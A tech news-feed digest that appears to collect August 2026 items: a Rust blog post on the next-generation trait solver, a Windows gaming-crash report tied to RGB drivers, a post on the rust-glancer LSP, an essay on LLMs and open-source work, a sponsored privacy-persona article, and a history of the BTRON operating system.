A: AgentSight monitors the openclaw-gateway daemon. Check client-gateway connectivity. If you see "pairing required" errors, run openclaw devices approve .

Q: Why does the Token savings page show 0?

A: Possible causes: (1) The AK/SK authentication mode is not yet supported; (2) Session ID format is non-standard UUID.

Q: Why do cumulative savings exceed the single-call difference?

A: Agents include historical messages in context. Savings accumulate across turns, so cumulative savings exceed per-turn differences.

Enabling the next-generation trait solver on nightly | Rust Blog

Lobsters
blog.rust-lang.org
2026-08-21 11:15:16
Comments...
Original Article

After nearly 4 years of active development, the next-generation trait solver is close to stabilization. We are enabling it by default on nightly to surface any remaining issues and plan to stabilize it in the next months. This is the largest single change to the Rust compiler since its initial release. It completely replaces how we prove where-clauses, normalize associated types, and much more. Please try out the latest nightly and open an issue if you encounter any bugs or regressions.

This is an internal component of the compiler. The main benefits of this rework will come in the future. The removal of the old implementation will unblock features such as Type Alias Impl Trait and Return Type Notation , allow us to add new implicit default trait bounds (e.g., Move and Forget ), and enable us to fix the remaining type system unsoundnesses .

Even so, this already fixes a huge number of issues. As an underapproximation, we currently know of more than 200 issues on GitHub fixed by this change . This also has a significant impact on compile times; more on that later. When developing on nightly, you may accidentally rely on behavior only supported by the new trait solver.

This is an incredibly big change which results in a non-trivial amount of breakage. Most of these changes are intended improvements to type inference or the removal of undesirable behavior. We are tracking the known issues and breakage in a pinned GitHub issue .

What can I do?

Please update to the latest nightly version by using rustup update nightly and use it to test your existing projects and libraries.

⚠️ While the next-generation trait solver has been enabled on our main branch, this change will only be accessible on the nightly channel starting from Saturday 22nd August. You can already test it before then by providing -Znext-solver=globally as a command-line argument ⚠️

Please tell us if you encounter any breakage, compile-time performance regression, or bad diagnostics. We have not yet spent too much time on error messages for the next-generation trait solver, so we would also appreciate you using this nightly for development to find poor diagnostics and other bugs in our error handling.

If you encounter any issue, take a quick look at the pinned GitHub issue to see if the affected crate is already listed, and if not, please open a new issue ! To disable the next-generation trait solver on nightly, you can pass -Znext-solver=coherence to rustc , use RUSTFLAGS=-Znext-solver=coherence , or change your project's .cargo/config.toml configuration file:

[build]
rustflags = ["-Znext-solver=coherence"]

What exactly does this mean?

We will go into more detail about the next-generation trait solver, how we got here, and what it changes when fully stabilizing it. This is a quick summary of its main impact.

impl Trait handling

The way opaque types — return-position impl Trait (RPIT), but also the unstable Type Alias Impl Trait (TAIT) and Return Type Notation (RTN) — are handled in the type system has nearly completely changed. This fixes a lot of bugs and edge cases with them and should make their behavior a lot more consistent in general. This change is why the next-generation trait solver is necessary to stabilize TAIT and RTN.

The implementation change mostly does not matter for RPIT as we special-cased impl Trait from the method signature when type checking the method body. This means the only way to observe the old behavior is via recursive function calls. The following snippet errors with the existing implementation, but compiles with -Znext-solver enabled: godbolt

fn foo(b: bool) -> impl Sized {
    if b {
        // The old implementation errored here.
        foo(false) + 1
    } else {
        0
    }
}

Associated types in higher-ranked types

The most impactful change is way we handle associated types referencing bound variables, i.e., lifetimes from a for<'a> binder, for example, the type for<'a> fn(<T as Trait>::Assoc<'a>) . While most users don't encounter such types directly, there are widely used crates which do. This change impacts existing code by removing incorrect type inference, such as in bevy and minijinja .

It also fixes a bunch of unnecessary errors like in the following example: godbolt

trait OtherTrait {
    type Assoc<'a>;
}
impl OtherTrait for u32 {
    type Assoc<'a> = &'a u32;
}


trait Trait {}
impl<T: OtherTrait> Trait for (T, for<'a> fn(<T as OtherTrait>::Assoc<'a>)) {}


fn impls<T: Trait>() {}

fn main() {
    // The old implementation failed to prove
    // the where-bound of `impls`.
    impls::<(u32, for<'a> fn(&'a u32))>();
}

Compile-time performance

co-authored with jana :3

We've spent a lot of time on the compile-time performance of the next-generation trait solver. There have been many cases where it performed quadratically or even exponentially slower than the old solver.

Especially the last few weeks were mainly spent on improving performance. This work was shared by many people, with major contributions by Nick Nethercote , jana , Rémy Rakic , and mira .

As part of this effort, Rémy Rakic compared the performance of both implementations for the top 20,000 crates on crates.io . Below you is a visualization of the performance changes over the last two months.

The performance of 1000 crates (on the x-axis) plotted against their slowdown factor (logarithmic) on the y-axis. Many crates are around the 1.0 mark (no slowdown), with major outliers at both ends. Colors show progression over time.

On the left and the right, the major outliers can be found. Note that the sample of crates here is biased towards such crates, because those are more interesting to us. Nearly all crates we tested in the top 20k had effectively the same performance with both implementations.

This graph shows that we've mainly focused our efforts on the negative outliers and made significant progress there. While many of the crates that previously took more than twice as long to compile with the new solver are still slightly slower, our work has made a few of them actually compile faster than with the old solver.

We will continue to improve its performance over the coming months, and there are still a lot of optimization opportunities compared to the existing implementation. My expectation is that, in the long term, nearly all crates will benefit from the next-generation trait solver. I am especially excited about the huge performance benefits for some trait-heavy crates.

As an example, a Chess implementation in Rust's type system hangs with the old implementation while taking a minute with the new one. There are also more practical crates with huge performance benefits, e.g., the datafusion crate compiles more than 8x faster now. For more details about the recent performance work, see this blog post by jana .


Again, thank you for testing with the latest nightly and opening a GitHub issue if you encounter any issues ! We're excited to fully stabilize the next-generation trait solver soon.

Quoting Matt Webb

Simon Willison
simonwillison.net
2026-08-21 11:06:26
After I released version 1.0, I figured I would have to do the rotations myself. So I sat down with ChatGPT and I didn’t get it to write the code, but I got it to educate me. With a patient, interactive tutor, I was able to finally do what I hadn’t by reading books and asking mathematician friends –...
Original Article

21st August 2026

After I released version 1.0, I figured I would have to do the rotations myself. So I sat down with ChatGPT and I didn’t get it to write the code, but I got it to educate me. With a patient, interactive tutor, I was able to finally do what I hadn’t by reading books and asking mathematician friends – I learnt how to use quaternions just enough to make the app work.

So learning doesn’t stop just because I outsource a bunch of thinking to AI. It pushes me to learn more. I like that as an outcome.

Matt Webb , Galactic Compass 2: now with new augmented reality mode

Microsoft blames Windows gaming issues on RGB lighting devices

Bleeping Computer
www.bleepingcomputer.com
2026-08-21 10:54:49
Microsoft says ongoing issues causing games to crash or fail to launch after installing the August 2026 Windows updates may be caused by peripherals with RGB lighting. [...]...
Original Article

Gamer RGB lighting

Microsoft says ongoing issues causing games to crash or fail to launch after installing the August 2026 Windows updates may be caused by peripherals with RGB lighting.

As Microsoft explained when it confirmed it's investigating on Wednesday, this known issue affects games like ARC Raiders, MARVEL Tōkon: Fighting Souls, and The Finals on systems running Windows 11 24H2 and 25H2.

"Following the release of Windows updates on August 11, 2026 (KB5121003) and later, Microsoft received reports of issues involving inability to run games as expected," Microsoft said on the Windows release health dashboard.

image

On impacted PCs, users are also experiencing gaming freezes, "EXCEPTION_ACCESS_VIOLATION" errors, and even unexpected system restarts.

In a Thursday update, Microsoft said the gaming issues may be caused by drivers or components installed by RGB devices on affected Windows systems.

"Ongoing investigation indicates that this issue is related to peripherals or internal device components which have RGB lighting features. Such devices may install drivers or code components with file names similar to inpoutx64. In systems where these drivers are found, the issue is then triggered by launching certain games," it noted .

"We are presently working to understand the relationship between these RGB components and the games which trigger this issue. We will provide an update when more information is available."

Unofficial workaround shared by game dev

Embark Studios, the Swedish video game developer behind ARC Raiders and The Finals, also said these issues are caused by inpoutx64.sys, but added that they stem from changes made to the Windows kernel driver.

"We're aware of a crash that has been impacting some players since the most recent Windows update (KB5121003). This is a crash related to the file inpoutx64.sys, which changed with the Windows update," Embark said on Monday.

Until Microsoft ships an official fix, Embark shared a multi-step temporary workaround that requires users to delete the service and remove the inpoutx64 file from the Windows drivers folder.

This isn't the first time Microsoft has had to address gaming performance and stability issues caused by Windows updates. For instance, in October 2024, Microsoft blocked Windows 24H2 upgrades that caused Asphalt 8 crashes and Easy Anti-Cheat blue screens.

In January 2025, it also lifted a compatibility hold after fixing a bug in the Auto HDR Windows feature that was breaking some games on Windows 11 24H2 devices.

Early last year, Microsoft also removed several upgrade blocks that were preventing Asphalt 8: Airborne, Assassin's Creed, Star Wars Outlaws, and Avatar: Frontiers of Pandora players from upgrading their devices to the latest Windows version.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

Behind the Blog: Early Birthday Reflections

403 Media
www.404media.co
2026-08-21 10:54:35
This week, we discuss our party and panel coming up, and do some light reminiscing....
Original Article

This is Behind the Blog, where we share our behind-the-scenes thoughts about how a few of our top stories of the week came together. This week, we discuss three years of 404 Media.

JASON: Tomorrow is the third anniversary of the launch of 404 Media. If you haven’t been paying attention to us yammering on about this on the podcast and in our emails, you can celebrate with us at our party in New York in a few weeks.

Anniversaries are a good time to take stock of things, but they always seem to sneak up on us. I don’t think we’ll have much of a public post this year on the actual anniversary, but maybe some public celebrating closer to the party and panel we’re throwing.

First off, if you’re reading this, thank you for your support and for being a subscriber. We could not be doing this without you. Starting 404 Media has changed all of our lives; we’ve said it a million times at this point, but it was not clear when we started this that it would actually work. Three years in, it is extremely working, and we are very proud of the work we’ve done, what we’ve built, and the impact our journalism has had. These are going to be disorganized, off the dome thoughts, but a few things:

This post is for paid members only

Become a paid member for unlimited ad-free access to articles, bonus podcast content, and more.

Subscribe

Sign up for free access to this post

Free members get access to posts like this one along with an email round-up of our week's stories.

Subscribe

Already have an account? Sign in

Small, native web tricks worth remembering

Lobsters
htmlcat.net
2026-08-21 10:32:54
Comments...
Original Article

Welcome to HTMLcat: small, native web tricks worth remembering.

Each post-it pairs one useful platform feature with a small example and the caveat that matters.

Some notes cover limited or experimental features. Check the support label, keep a fallback, and test with real browsers and assistive technology.

rust-glancer: An alternative LSP for Rust with focus on low memory usage

Lobsters
rust-glancer.github.io
2026-08-21 10:29:38
Comments...
Original Article

I want to present a project that I've been working on for the past 4 months: an alternative Rust LSP implementation that is built with a focus on low memory usage.

It has two main features:

  • It can use very little memory (target <100mb for reasonable projects). There are caveats, these are described below.
  • It allows immediate indexing after restart: if your project was indexed, restarting the editor will not require re-indexing.

Note: throughout this video, the used RAM remained under 100mb

Rust Glancer memory usage remaining below 100 MB

These features make Rust Glancer suitable for the older computers: I have tested it on my old MacBook Pro M1 2020 with 8GB RAM, and it was pretty good.

Machine LSP Base indexing (engine usable) Full indexing
MacBook Pro M4 Max, 36GB (2025) Rust Glancer 5 seconds 8 seconds
MacBook Pro M4 Max, 36GB (2025) rust-analyzer 6 seconds 13 seconds
MacBook Pro M1, 8GB (2020) Rust Glancer 6 seconds 9 seconds
MacBook Pro M1, 8GB (2020) rust-analyzer 7 seconds 14 seconds

As you can imagine, 4 months is not a lot of time for a project as big as a Rust LSP. Rust Glancer is not a complete LSP yet, it has a lot of missing functionality, it has some known bugs, and it has a lot of things I want to improve.

At the same time, it is already pretty capable: it has a full indexing pipeline with type inference and a trait solver (chalk), most of the "normal" Rust syntax is supported, and most of the "normal" LSP actions do work as well: goto definition, hover, inlay hints, completions, you name it.

If you are interested, you can already try it out: just install the VS Code extension here , or, if you prefer, build and install the vsix from the repository .

The rest of the post contains the history of the project: motivation, LLM use, plans and roadmap. If you're not interested, you might want to check out the project documentation instead.

Difference with rust-analyzer

There are several reasons why rust-analyzer consumes a lot of memory:

  1. Rust workspaces genuinely have a lot of information that must be indexed: thousands of functions, structures, traits, relationships between these, function bodies and statements in them, etc. Each of these needs to be analyzed and remembered, and you can't really cheat if you want to have things like "find all references to this structure".
  2. rust-analyzer uses salsa as its database. It's an incremental query-based database, which lazily computes all the data you need without having to explicitly "record" everything. It is a very cool approach, but it's inherently tied to memory, which makes it hard to move parts of data from memory elsewhere.
  3. rust-analyzer uses rowan for syntax tree representation. The cool property here is that it allows partial invalidation: if only a part of the file changed, only the relevant bits have to be reparsed, which makes it faster than having to re-parse the whole file on each keystroke. However, the tree-like representation inside of it can cause heavy memory fragmentation (meaning that the amount of RAM taken from the OS is higher than the amount of "actually used" RAM).

(1) is something we have to live with (though there are a few optimizations we can do there which Rust Glancer does), but (2) and (3) are the consequences of the rust-analyzer architecture. rust-analyzer chose them to make the LSP faster, and it does work for that purpose.

The idea I had when I started the project: what if we don't try to make an incremental LSP? What if all we have is a frozen analysis result that gets invalidated on save? It obviously will not be as fast as rust-analyzer, but it will give us the properties we seek:

  1. analysis results can be offloaded to the filesystem and loaded to memory only when they are actually needed.
  2. saved analysis is reusable, and since it's already offloaded to the filesystem, it can be reused after the editor restart.

This is the core idea of Rust Glancer.

It indexes the workspace once and preserves results in the filesystem, and then whenever queries need something, they can load the required information for the duration of the query.

It doesn't come for free though: frozen workspace analysis is slower than lazy incremental by definition, since loading and deserializing data from filesystem is slower than loading from memory. To mitigate that, Rust Glancer has to use some tricks: for example, when you type, it doesn't perform full blown analysis on each keystroke, it instead attempts shallow analysis of the current body and reuses the previous complete index. This makes completions reasonably fast, but it also means that new items (imports, structures, traits) are not "indexed" until you save the document. Which, hopefully, should not be a problem: you really get used to it fast, and at least in my case it does not feel overly wrong after a while. If that sounds scary, I suggest to just try it, it really is not.

For people who rely on agentic workflows, Rust Glancer is also optimized for large amount of out-of-editor changes. I'm not sure why, but in rust-analyzer I've observed that when agents edit the code, inlay hints can get out of place, and I had the same problem in Rust Glancer initially, but it was resolved by implementing a custom file watcher and tweaking it somewhat. The server also has lower priority for out-of-editor changes, so agentic changes do not cause rapid re-indexing.

Still, it's important to understand that Rust Glancer has some benefits, but also has some drawbacks (besides being incomplete, obviously) compared to rust-analyzer. Maybe I will manage to solve some of them eventually, but it's highly unlikely that Rust Glancer will ever become "just like rust-analyzer, but better". I imagine that rust-analyzer will remain the default choice for projects that care about completeness and keystroke accuracy, while Rust Glancer will work for people with weaker machines or people who are ready for some sacrifices to reduce RAM usage.

How and why it happened

I have been writing Rust professionally for ~7 years, and since pretty early on I started observing how the compiler and its tooling are developed. I've made some contributions to rustc, clippy, and rust-analyzer, and I've spent dozens of hours reading its source code just to teach myself. So I was pretty much aware how big of a project a Rust LSP is.

At the same time, I have a love-hate relationship with rust-analyzer. It is absolutely beautiful except for two things: memory usage and initial indexing (especially with build scripts / proc macros enabled). These problems seem to be brought up quite a lot, but in my case they are even more drastic: I have a rather stupid workflow where I have two identical IDEs open on two displays with a bunch of projects inside a workspace. So the memory consumption is roughly 2N, and with my last set of the projects I had to work on, rust analyzer was consuming 16GB of memory that I, ugh, would prefer to have available for other uses; not to mention that each time I opened VS Code, my PC fans would go brr because of a ton of parallel indexing jobs.

At some point I thought that I am fairly confident in my Rust knowledge, so I probably don't need a full-blown LSP, and can use something simpler and more memory efficient. I decided to try building a "smart ctags for Rust". I very explicitly did not want to build an alternative LSP, because of how insane of a task it is. Little did I know...

The initial progress was going pretty smoothly: I made use of rust-analyzer's syntax library, lowered items to internal representations, then built definition maps and module structure, got all the declarations indexed. It was so surprisingly straightforward that I decided to do some primitive body lowering. Then I decided to add very very simple type propagation. Then it turned out that naive type propagation doesn't give me much -- but I already had these nice inlay hints, so I wanted more. Overall, I don't care about complex cases and nightly features, right? ( Right?... ). So then came naive trait resolving via impl header matching. It's quite addictive, you get it.

The illusion, however, broke when I decided that it is pretty reasonable to expect the following code to be supported as well:

fn mul_by_two(vals: &[u8]) -> Vec<u8> {
    vals.iter().copied().map(|v| v * 2).collect()
}

The code is pretty simple, but in order to support it we need:

  • Slice type support
  • Closures / Fn traits
  • Trait solving
  • Associated type projection
  • A bunch of nightly stuff

the last item is funny: I wanted to avoid nightly, but I somehow didn't think that std (or sysroot in general) breathes nightly. Welp.

So all in all, one feature after another, I slowly was getting from "smart ctags" to a "real LSP". Probably, the three biggest milestones were:

  1. Declarative macro expansion (I hate declarative macros now). Thankfully, I was able to reuse most of rust-analyzer's infrastructure for that.
  2. Proper type inference engine. It was a big "oh wow" moment when I truly realized how type inference works (in short: we "link" all related type bindings in a big inference table, and then we try to get evidence from all possible places, where providing evidence can solve types for multiple places). It was the moment that probably brought me the most joy during the work on this project so far.
  3. Proper trait solving engine. I initially wrote "it's highly unlikely that we will have a trait solver in this project", but then I really wanted to get the abovementioned iterator example to work properly. I resisted integrating trait solver for a while, trying to have naive hacks like naive trait impl matching + specialized handlers for std traits, but it was getting more and more complex while working pretty poorly. Then I gave up and integrated Chalk, which turned out to be significantly simpler than the whole hierarchy I have built. Making Chalk fast was another challenge, though.

Somewhat separately, probably the thing I am most proud of (and the thing that made Rust Glancer possible -- had I not designed it early, the project would die very quickly) is a cool profiling stack that can measure performance, memory usage (both natively, tracking actual allocated objects, and with jemalloc), profile data on demand, and compare LSP against rust-analyzer, as well as a set of benchmarks running in CI. If you're interested, it's partially covered in the docs ( 1 , 2 ), but I'll work on a more detailed coverage later.

Probably ~1.5 months ago I started using Rust Glancer as my daily driver instead of rust-analyzer. Now, I am happy with its state enough to present it to a larger audience.

LLM use

This project was built with heavy use of LLMs. It is not vibe coded, though. I am verifying each pull request to make sure that I am happy with the state of the codebase. If you need proofs, you can check the git history: it has PRs with 10k+ lines of diff, but these are multiple days apart despite the fact that I work on this project nearly every day since its inception. I care about the code, and tbh it would be weird for me to spend 4 months creating a Rust LSP if looking at the code wasn't something I do a lot.

I am not going to pretend that I am an experienced LSP developer and the code is perfect. It is in a state that I can work with, but I understand that some bits might not be idiomatic in terms of compiler tooling design. The code has a lot of comments, and I tried really hard to make sure that these comments are not sloppy but helpful, because I have to read them all the time; so far the quality is obviously not as good as professionally written human docs, but IMHO it's pretty helpful and not annoying to read.

A large part of the journey is learning. LLMs can be pretty good domain experts, and LLMs know about LSP design much more than I do. At the same time, LLMs are not great at building big projects. So the following loop happened multiple times during development:

  1. I build something new.
  2. LLM proposals seem reasonable, so I go with them.
  3. It works but something bugs me.
  4. I think about the design for a while and see a big flaw.
  5. I work with LLM to fix it (sometimes for a week, if the screw up was particularly big -- but the bigger the screw-up is, the more I learn).

So on one hand, if I am to attribute code ownership to the LLMs, I can complain: "LLMs tried to derail the project so many times!11". But since it's my code, I think that the code might get worse at some moments, but as I learn, I get to improve it. Which is pretty normal software development flow, just accelerated.

All in all, LLMs are just a tool, and it's one's choice to use it responsibly or outsource thinking to it. Given the amount of witch hunting today, I have just one request: do not reduce me to a clanker. It is my code, so if you consider it to be slop, call it my slop, not AI.

I am open to criticism and will happily listen to feedback: the more I learn, the more I can improve the codebase. Whether I use LLMs for that or not does not matter that much, in my opinion.

What's next

The project is already in a state where it can be a daily driver for some users, but I have rather big plans for it. So in the coming releases, you might expect:

  • Further performance optimizations
  • Some more memory optimizations (primarily during indexing, plus there are a few fragmentation issues happening after a full indexing run that I want to fix)
  • Improved type inference / syntax support.
  • Code actions (implement missing trait fields, auto-imports, etc).
  • Potentially proc macro support (I have some weird idea that will not require actual code execution, but it'll take a while to prepare).

Some features are unlikely to be supported though, such as build scripts / proc macros support via proc macro invocation (e.g. anything that requires untrusted code execution). I also don't plan to work on things that are unnecessary at the current state of the project, such as migrating to the new trait solver. Niche things like particular nightly features will likely be postponed until the project reaches some degree of maturity with stable Rust.

Additionally, there is a lot of cool little tricks I've done in Rust Glancer that I'm somewhat proud of (aligning allocation lifetimes to reduce memory fragmentation, engine-as-a-subprocess model to help with both memory fragmentation and multi-workspace projects, sharded cache, and others), so if people will be interested, I'll be happy to write some blogs telling about how Rust Glancer works under the hood. It's partially covered in the docs already ( 1 , 2 ) if you want to get some info right now.

But in any case, I hope that the project can be helpful for some folks already, and for more folks in the future.

The people vs the AI overlords

Anarcat
anarc.at
2026-08-19 10:14:42
Previously in this series: The Four Horsemen of the LLM Apocalypse. In a post to oss-security, my (Debian) co-developer Russ Allbery stated that "open source software [OSS] is coming face to face with a motivation crisis that has been building for a long time". His point is essentially that large l...
Original Article

Previously in this series: The Four Horsemen of the LLM Apocalypse .

In a post to oss-security , my (Debian) co-developer Russ Allbery stated that "open source software [OSS] is coming face to face with a motivation crisis that has been building for a long time". His point is essentially that large language models (LLMs 1 ) are making the existing OSS community crisis worse. For him, it's the flood of code reviews, but he argues that varies according to people's desires, for others it's security issues and so on.

I think Russ is right, but I would argue there's something much bigger than our open communities going on here, and it's about the entire field of computing. This pressure is on all of us, regardless of whether we work on open source software or not.

How people use models

People using LLMs in their workflow have radically changed how programming works, even for people who claim to avoid vibe-coding . And I'm sorry to single out one poor maintainer here: it's not you, Brian, you're just one example among many. But this is typical use of those models nowadays:

Once it’s done, I’ll use /code-review and let Claude spawn sub-agents to do a full review of the new code. This usually finds some problems, even problems that the “main” Claude instance didn’t find during its validation. I usually keep running /code-review again and again after finding and fixing issues, until there aren’t any left.

Think about what that means for a minute. This is automation built to fire up dozens of agents crunching at a problem for minutes if not hours of GPU compute time, in parallel. This is essentially a couple of shelves in a datacenter rack, totally maxed out on power and cooling, abstracted behind a cute little /code-review command.

The author, here, is rightly concerned that "Anthropic could pull the rug out and require API pricing", which is perhaps a code word for "charging something closer to actual costs". Brian also pays lip service to environmental and societal costs but those are largely abstracted away, so let's keep that conversation aside here as well, as we have discussed it before anyways .

But clearly, this way of working has an ( externalized ) cost, to say the least.

For decades my work has been focused on free and open source software. I've long stopped using proprietary operating systems like Windows or Mac, and even before that switch, I was mostly using free software on those platforms, partly out of principle, but also because I was too poor. So the tools of my trade are free, and I build free tools with them.

It feels like we're going backwards: when I was in school, a millennia ago, my classmates didn't have access to a compiler and were wondering how they would scrape the money to buy a compiler like Borland's or Microsoft's . I had a compiler built into my operating system ( FreeBSD at the time), so that wasn't a problem for me. For them, it was a significant expense, but at least those expenses (or more shady sourcing of programs ) were a one-shot deal.

Fast forward 30 years, and software is rented: you pay monthly for Adobe's Photoshop and Microsoft's office suite just like you pay for Netflix, Disney+ or Spotify 2 . And now you need to add dozens (if not hundreds of dollars) of monthly credits to access LLMs on top of that.

So, now we have to pay to get anything done? This is peak enshitification of our job: first they steal our work to train their models, and then they sell it back to us at a profit.

Attacking the engineers

AI is coming for our jobs, as engineers, if not everyone , according to the narrative. For a while now, our job market has deteriorated: less jobs, for less pay. Lots of skilled engineers looking for work and finding crap jobs then still looking while working.

This is not by accident. 3 We engineers have a lot of power, it is not organized, but that's just a couple of unions away ( easy !). Tech overlords know this, so they are attacking our profession, directly, by forcing us to train and use models that they can control.

Even in environments where programmers are not forced to use LLMs, the mere pressure of other people's LLM-generated work is huge. One can be forced to review LLM outputs, or just peer pressured you into producing more.

We're now supposed to accelerate delivery, because models can presumably do things so much better and faster. With supply chain security becoming such a large vector that we now have worms crawling around developers accounts on NPM , increasing the delivery cadence seems like a really bad idea. 4

The LLM hype is part of the larger wave of cyberwar against workers, against water, against the Earth, against all the people. This is not a matter of individually "adapting to the reality" or personal choice, but a political, social, hard problem we need to address collectively.

Previously in this series: The Four Horsemen of the LLM Apocalypse .

Created . Edited .

Is Online Privacy Possible? How Digital Identities Can Help

Bleeping Computer
www.bleepingcomputer.com
2026-08-21 10:00:10
Using the same email, phone number, payment method, and other identifiers makes it easier for data brokers and attackers to profile your activity. Anonyome Labs explains how separate digital personas can reduce correlation and limit the impact of breaches, spam, and identity theft. [...]...
Original Article

Is Online Privacy Possible?

How can normal users increase their privacy, safety and security online?

Over the last two decades, the internet quietly rebuilt itself around a business model that depends on knowing everything about you. Every app you install or use, every account you create, every website you visit, and every form you fill out becomes another data point feeding a system designed to track, profile, and monetize you and your identity.

This process is often referred to as surveillance capitalism and creates an economy where attention and personal data are the product and you are the raw material.

The mechanics of this are almost invisible day to day. A single email address becomes the thread that ties together your shopping habits, your health searches, your location history, and your social connections.

Data brokers exist specifically to aggregate these threads, buying, selling, and cross-referencing fragments of your life until they can construct a profile more complete than most people would recognize about themselves.

None of this requires a breach or a hack – it's simply how the default internet works. Data brokers are often the most consequential handlers of personal information that operate without consumers’ awareness or informed consent.

The result is that privacy is no longer something you can expect. It has become something you have to actively construct, piece by piece, against the grain of nearly every service you use. The harms of this model are diffused and delayed and you don't feel the effects of a data broker profile the way you feel a stolen credit card.

The damage shows up later, as spam, as price discrimination, as identity theft , as a general erosion of control over your own digital identity.

The graphic below shows the problem of using a single identity across your online actions. When a data breach occurs, everything connected can be exposed and tied back to you.  Data brokers can use it to construct a complete picture of your life, and this valuable information is for sale.

Data breach without MySudo

Artificial Intelligence (AI) systems have made the problem significantly worse.

Data brokers can now use AI to link your different actions in a way that was previously thought impossible. AI’s expertise is data analysis, working through vast amounts of information to correlate your actions into a valuable profile.

In this world of surveillance capitalism, can we shift the privacy pendulum back in your favor? Is it even possible to be private, secure, and safe online?

Personas and Compartmentalization

If surveillance capitalism works by linking everything about you into one exploitable profile, the countermeasure is structural (not just legal or political): break the correlating identifiers.

This is the premise behind compartmentalization. Instead of using one set of identifiers such as one email, one phone number, one payment method, one communication handle across every context in your life, you deliberately compartmentalize activities into separate, purpose-built personas.

One persona for online shopping, a different one for dating apps, another for travel, another for marketplace listings, and even another for that newsletter you're not sure you trust yet.

Each persona operates as a self-contained identity with its own email address, its own phone number, its own payment method, its own browser, and its own communication handle. Crucially, these personas aren't connected to each other or back to your actual identity in any way a data broker or advertiser could observe.

As shown in the graphic below, if a persona gets swept up in a breach, starts attracting spam, or gets sold to a marketing list, the damage is contained and is not tied back to you.

Data breach with MySudo

This is a fundamentally different privacy model than the one most security tools rely on. Most tools try to protect a single identity better with stronger passwords, better encryption, more careful permissions.

Compartmentalization instead assumes that any single identity is eventually going to become correlated and anticipates corrections by ensuring that no single identity is valuable due to its changeability. This process is less about building an impenetrable wall and more about not putting all your value behind one wall in the first place.

The elegance of this approach is that it doesn't require the rest of the internet to change. You don't need every company you interact with to suddenly adopt better data practices. You just need a layer that sits between you and them, generating and managing these personas on your behalf.

Anonyome Labs patented many of the ideas related to creation of online personas and compartmentalization, here are some examples:

How MySudo Puts This Into Practice

Compartmentalization and personas are an important advancement, but the harder problem (and the one that has occupied most of our product decisions) is making it usable by typical users and automatic enough that people can do it consistently, without a computer science degree, and without constant friction.

As shown in the graphic below MySudo was designed to implement this paradigm and enable each user to create up to 9 personas or Sudos . Each Sudo provides a different:

  • Phone number that can make and receive phone calls and SMSs;
  • Email inbox that can send and receive emails;
  • Virtual payment card for purchasing online;
  • Communication handle to enable end-to-end encrypted (E2EE) messaging, voice calling and video calling (similar to WhatsApp);
  • Browser for complete separation of browsing.

MySudo apps

MySudo comes in two form factors:

  • A mobile app for iOS and Android that allows each persona to communicate externally with phone calls, SMSs, and emails. It allows creation of individual payment cards and to have end-to-end encrypted messaging, email, voice and video. It also has a separate browser for each persona.
  • A desktop companion app for Windows and Mac that allows management of persona emails in a form factor that provides support for longer and more complex emails.  More features are coming to the MySudo desktop app soon.

MySudo is part of a growing family of privacy and security applications from Anonyome Labs that also includes a privacy focused VPN and Password Manager (coming soon).

Individual online privacy has been under surveillance and attack almost since the beginning of the web – and now users have identity-based tools to fight back.  By creating multiple personas that allow you to compartmentalize your life, you too can reap the privacy benefits.

Your identity is already being pieced together. Stop handing over the pieces.

Download MySudo now to create separate digital identities that keep your personal information private and out of reach from data brokers, scammers, and the next data breach.

Sponsored and written by ANONYOME LABS .

The B-right/V R2 Operating System

Hacker News
tronweb.super-nova.co.jp
2026-08-21 11:20:59
Comments...
Original Article

The B-right/V R2 Operating System

Steven J. Searle

Web Master, TRON Web


The BTRON Computing Model

Although it may not seem like it, what can broadly be termed "personal computing devices" are based on only three conceptual models. In order of their historical appearance, they are: the "stand alone computer model," which first came into being as the batch processing mainframe with a command line interpreter; the "networked stand alone computer model," which saw its first incarnation as the object-oriented workstation with a graphical user interface (GUI); and the "network interface computer model," a terminal-like computer for single users in an environment where all computers are linked together. The golden age of the first conceptual model has long passed, and the current age is a transitional period in which we are moving from the second conceptual model to the third.

What may be surprising to many is that the third conceptual model was first conceived not in the U.S., which has rightly earned the distinction of the "world's systems house," but rather in Japan, which has historically been viewed as a country that creates great hardware but is poor at software--particularly systems software. However, in the mid 1980s, long before computing platforms based on either the IBM-PC or Macintosh operating systems were considered for use as interfaces to a "network of networks" called the Internet, the TRON Project began work on the BTRON-specification operating system, which was conceived as a real-time human-machine interface to a "hypernetwork in which all computers and computerized devices throughout human society would be interconnected."

The network interface computer differs from the standard personal computers of today mainly in terms of size. Network interface computers have very small operating systems, and hence they require very little in the way of hardware resources to run. This allows them to be built at very low cost, which in turn allows organizations that employ them to save considerable amounts of money on management information systems. But all network interface computers are not based on the same design precepts.

One computing model for the network interface computer, the "network computer" proposed in the late 1990s in the U.S., was conceived of as a machine that would operate inside a company's local area network (LAN). Since it would always be used in conjunction with a company-owned server, programs and data could be stored there and downloaded as necessary. In fact, Sun Microsystems Inc., one of the companies that is strongly pushing for the adoption of network computers in the U.S., is planning to take this paradigm and apply it to the Internet. The company plans to offer its freeware StarOffice productivity suite via StarPortal , a Web site from which users can download data and applications and do data processing inside their browsers. People signing up for this service will only need a browser and an Internet connection. However, there is a problem with this computing model in that current browsers are huge applications, and they run on even larger operating systems, so the cost savings will mainly be limited to software. (For a critique of Sun's efforts with StarOffice, click here .)

That's where the BTRON-specification operating system is different. BTRON lies between today's gargantuan personal computer operating systems--which have become as large as mainframe computer operating systems and continue to get bigger with each new upgrade!--and the stripped down operating systems of LAN-based network computers. BTRON is compact, which is why basically the same BTRON3-specification source code can be used in both PDAs and IBM-PC/AT compatibles, and yet it is extremely powerful. The design specification calls for word processor and graphics editor functions as standard equipment, but the commercial implementation by Personal Media Corporation called B-right/V has, in addition, a spreadsheet program, a scripting language, an e-mailer, a card database program, a Web browser, PC communications software, plus various utilities, such as file converters--and that's not even to mention a World Wide Web-like hypertext filing system at the system level.

As a result, a BTRON-specification computer requires no Internet or LAN connection to do data processing, but the hardware required to run the latest BTRON implementation, B-right/V R2, is minimal: an Intel 486DX microprocessor-based PC, 16 megabytes of main memory, and a few hundred megabytes of hard disk space. In other words, a BTRON-based system can be manufactured almost as cheaply as a network computer, although it has all the functionality of a standard computer. And if that sounds too good to be true, it gets better. B-right/V R2 has for the first time in the history of personal computing implemented a true multilingual computing environment that allows users to employ up to approximately 130,000 characters in their documents. The majority of these characters are kanji (Chinese characters), which for the first time allow the Japanese people to write any word in their language--and they come in outline fonts to boot!

